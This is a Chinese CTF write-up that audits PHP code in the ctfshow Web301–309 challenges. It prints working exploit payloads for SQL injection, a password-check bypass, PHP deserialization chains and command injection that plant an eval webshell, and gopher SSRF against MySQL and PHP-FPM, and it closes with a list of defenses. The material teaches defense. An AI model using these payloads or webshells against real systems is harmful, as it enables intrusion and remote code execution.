ctfshow之php代码审计
字数 1288 2025-08-15 21:33:50

PHP代码审计实战教学:CTFSHOW系列题目解析

1. 基础SQL注入漏洞分析

1.1 Web301漏洞分析

漏洞文件:checklogin.php

$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";

漏洞点

  • 直接拼接用户输入到SQL语句中,未做任何过滤
  • 错误处理不当,仅检查了结果行数,未正确处理SQL错误

利用方法

POST /checklogin.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

userid=1'union select 1#&userpwd=1

防御措施

  • 使用预处理语句
  • 对用户输入进行过滤
  • 使用框架提供的安全查询方法

2. 密码验证绕过漏洞

2.1 Web302漏洞分析

新增代码

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

加密函数(fun.php):

function sds_decode($str){
    return md5(md5($str.md5(base64_encode("sds")))."sds");
}

利用方法

  1. 计算已知密码的哈希值
  2. 构造SQL注入使查询返回我们指定的哈希值

Payload

userid=1'union select "d9c77c4e454869d5d8da3b4be79694d3"#&userpwd=1

3. 二次注入漏洞利用

3.1 Web303漏洞分析

漏洞文件:dptadd.php

$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',...";

利用条件

  • 需要先登录(弱口令admin/admin)
  • 注入点在添加部门功能处

利用步骤

  1. 登录系统
  2. 在添加部门时注入SQL代码

Payload示例

dpt_name=1',sds_address =(select database())#
dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())#
dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name="sds_fl9g")#
dpt_name=1',sds_address =(select group_concat(flag) from sds_fl9g)#

4. WAF绕过技术

4.1 Web304 WAF分析

WAF函数

function sds_waf($str){
    return preg_match('/[0-9]|[a-z]|-/i', $str);
}

绕过方法

  • 使用大写字母
  • 使用特殊符号
  • 使用注释符

有效Payload

dpt_name=1',sds_address =(select group_concat(flag) from sds_flaag)#

5. 反序列化漏洞利用

5.1 Web305漏洞分析

漏洞类(class.php):

class user{
    public $username;
    public $password;
    public function __destruct(){
        file_put_contents($this->username, $this->password);
    }
}

触发点(checklogin.php):

$user_cookie = $_COOKIE['user'];
$user = unserialize($user_cookie);

利用步骤

  1. 构造恶意序列化数据
  2. 通过Cookie传递
  3. 触发反序列化写入Webshell

Exploit代码

class user{
    public $username = '1.php';
    public $password = '<?php eval($_POST[1]);?>';
}
echo urlencode(serialize(new user()));

6. 复杂反序列化链利用

6.1 Web306漏洞分析

关键类

class log{
    public $title='log.txt';
    public $info='';
    public function close(){
        file_put_contents($this->title, $this->info);
    }
}

class dao{
    private $conn;
    public function __destruct(){
        $this->conn->close();
    }
}

利用链

  1. 使dao的$conn属性为log对象
  2. 当dao被销毁时调用log的close方法
  3. 写入Webshell

Exploit代码

class dao{
    private $conn;
    public function __construct(){
        $this->conn = new log();
    }
}

class log{
    public $title = 'log.php';
    public $info = '<?php eval($_POST[1]);?>';
}

echo base64_encode(serialize(new dao()));

7. 命令注入漏洞

7.1 Web307漏洞分析

漏洞点(dao.php):

public function clearCache(){
    shell_exec('rm -rf ./'.$this->config->cache_dir);
}

触发点(logout.php):

$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $service->clearCache();
}

利用方法

  1. 控制config类的cache_dir属性
  2. 注入命令到shell_exec中

Exploit代码

class config{
    public $cache_dir = ';echo "<?php eval(\$_POST[1]);?>" >1.php;';
}

class dao{
    private $config;
    public function __construct(){
        $this->config = new config();
    }
}

echo base64_encode(serialize(new dao()));

8. SSRF漏洞利用

8.1 Web308漏洞分析

漏洞函数(dao.php):

public function checkVersion(){
    return checkUpdate($this->config->update_url);
}

curl调用(fun.php):

function checkUpdate($url){
    $ch=curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    // 其他配置...
    $res = curl_exec($ch);
    curl_close($ch);
    return $res;
}

利用方法

  • 利用Gopher协议攻击内网服务
  • 攻击MySQL服务

Exploit代码

class config{
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00...';
}

class dao{
    private $config;
    public function __construct(){
        $this->config = new config();
    }
}

echo base64_encode(serialize(new dao()));

9. FastCGI协议攻击

9.1 Web309漏洞分析

利用条件

  • PHP-FPM监听在9000端口
  • 能够控制请求的URL

Exploit代码

class config{
    public $update_url = 'gopher://127.0.0.1:9000/_%01%01...';
}

class dao{
    private $config;
    public function __construct(){
        $this->config = new config();
    }
}

echo base64_encode(serialize(new dao()));

防御措施总结

  1. SQL注入防御

    • 使用预处理语句
    • 最小权限原则
    • 输入验证和过滤
  2. 反序列化防御

    • 避免反序列化用户输入
    • 使用json_encode/json_decode替代
    • 实现__wakeup或__destruct的安全检查
  3. 命令注入防御

    • 避免使用shell_exec等函数
    • 使用escapeshellarg过滤
    • 使用白名单验证输入
  4. SSRF防御

    • 限制请求协议(禁用file、gopher等)
    • 设置curl的CURLOPT_PROTOCOLS
    • 内网服务使用认证
  5. 认证安全

    • 禁用弱口令
    • 实现多因素认证
    • 密码哈希使用强算法(如bcrypt)
PHP代码审计实战教学:CTFSHOW系列题目解析 1. 基础SQL注入漏洞分析 1.1 Web301漏洞分析 漏洞文件 :checklogin.php 漏洞点 : 直接拼接用户输入到SQL语句中,未做任何过滤 错误处理不当,仅检查了结果行数,未正确处理SQL错误 利用方法 : 防御措施 : 使用预处理语句 对用户输入进行过滤 使用框架提供的安全查询方法 2. 密码验证绕过漏洞 2.1 Web302漏洞分析 新增代码 : 加密函数 (fun.php): 利用方法 : 计算已知密码的哈希值 构造SQL注入使查询返回我们指定的哈希值 Payload : 3. 二次注入漏洞利用 3.1 Web303漏洞分析 漏洞文件 :dptadd.php 利用条件 : 需要先登录(弱口令admin/admin) 注入点在添加部门功能处 利用步骤 : 登录系统 在添加部门时注入SQL代码 Payload示例 : 4. WAF绕过技术 4.1 Web304 WAF分析 WAF函数 : 绕过方法 : 使用大写字母 使用特殊符号 使用注释符 有效Payload : 5. 反序列化漏洞利用 5.1 Web305漏洞分析 漏洞类 (class.php): 触发点 (checklogin.php): 利用步骤 : 构造恶意序列化数据 通过Cookie传递 触发反序列化写入Webshell Exploit代码 : 6. 复杂反序列化链利用 6.1 Web306漏洞分析 关键类 : 利用链 : 使dao的$conn属性为log对象 当dao被销毁时调用log的close方法 写入Webshell Exploit代码 : 7. 命令注入漏洞 7.1 Web307漏洞分析 漏洞点 (dao.php): 触发点 (logout.php): 利用方法 : 控制config类的cache_ dir属性 注入命令到shell_ exec中 Exploit代码 : 8. SSRF漏洞利用 8.1 Web308漏洞分析 漏洞函数 (dao.php): curl调用 (fun.php): 利用方法 : 利用Gopher协议攻击内网服务 攻击MySQL服务 Exploit代码 : 9. FastCGI协议攻击 9.1 Web309漏洞分析 利用条件 : PHP-FPM监听在9000端口 能够控制请求的URL Exploit代码 : 防御措施总结 SQL注入防御 : 使用预处理语句 最小权限原则 输入验证和过滤 反序列化防御 : 避免反序列化用户输入 使用json_ encode/json_ decode替代 实现__ wakeup或__ destruct的安全检查 命令注入防御 : 避免使用shell_ exec等函数 使用escapeshellarg过滤 使用白名单验证输入 SSRF防御 : 限制请求协议(禁用file、gopher等) 设置curl的CURLOPT_ PROTOCOLS 内网服务使用认证 认证安全 : 禁用弱口令 实现多因素认证 密码哈希使用强算法(如bcrypt)